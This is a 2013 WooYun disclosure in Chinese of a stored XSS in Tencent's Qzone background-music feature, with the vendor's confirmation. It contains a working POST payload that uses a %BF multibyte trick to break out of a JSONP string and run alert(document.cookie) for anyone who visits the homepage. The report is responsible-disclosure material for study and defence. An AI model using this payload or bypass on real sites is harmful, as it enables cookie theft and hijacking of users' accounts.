当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039965

漏洞标题：QQ空间存储XSS

相关厂商：腾讯

漏洞作者： neobyte

提交时间：2013-10-16 18:19

修复时间：2013-11-30 18:20

公开时间：2013-11-30 18:20

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-16： 细节已通知厂商并且等待厂商处理中
2013-10-16： 厂商已经确认，细节仅向厂商公开
2013-10-26： 细节向核心白帽子及相关领域专家公开
2013-11-05： 细节向普通白帽子公开
2013-11-15： 细节向实习白帽子公开
2013-11-30： 细节向公众公开

简要描述：

QQ空间存储XSS,访问用户空间首页自动触发

详细说明：

QQ空间,添加背景音乐,选择"添加网络背景音乐",任意输入Url,姓名,歌曲名等信息
拦截数据包,篡改url参数如下(两个xxx是当前用户qq号):

POST http://qzone-music.qq.com/fcg-bin/favnetsongtobgm.fcg?g_tk=1994248789 
......
formsender=1&source=102&url=http%3A%2F%2F112233%BF'}]}}});alert(document.cookie)//.mp3&songtitle=112233&singer=112233&desc=&inCharset=gb2312&uin=xxx&hostUin=xxx&notice=0&needNewCode=0&g_tk=1994248789&format=fs&platform=musicbox&outCharset=gb2312


然后其他用户访问该空间首页即触发XSS.
分析:
上述数据保存在服务器端后,通过一个JSONP加载,该JSONP的URL是
http://qzone-music.qq.com/fcg-bin/cgi_playlist_xml.fcg?json=1&uin=xxx&g_tk=5381
关于%BF, 请参考 WooYun: 腾讯一处存储型XSS - 有过滤？我绕绕绕！ ,不同的是这里是JSONP,所以无需<script>标签以及复杂的绕过方法,js即可!

漏洞证明：

qq.png

修复方案：

严格点,用白名单吧

版权声明：转载请注明来源 neobyte@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-10-16 18:55

厂商回复：

非常感谢您的报告。这个问题我们已经确认，正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步

最新状态：

暂无